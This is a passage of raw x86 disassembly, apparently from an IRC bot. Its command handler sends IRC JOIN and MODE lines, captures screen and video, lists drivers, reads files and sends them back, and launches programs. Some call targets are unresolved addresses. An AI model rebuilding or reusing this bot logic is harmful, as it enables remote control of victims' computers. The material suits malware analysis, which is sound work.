		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_429E28


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2660545h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_4298C0


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 26606EFh
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
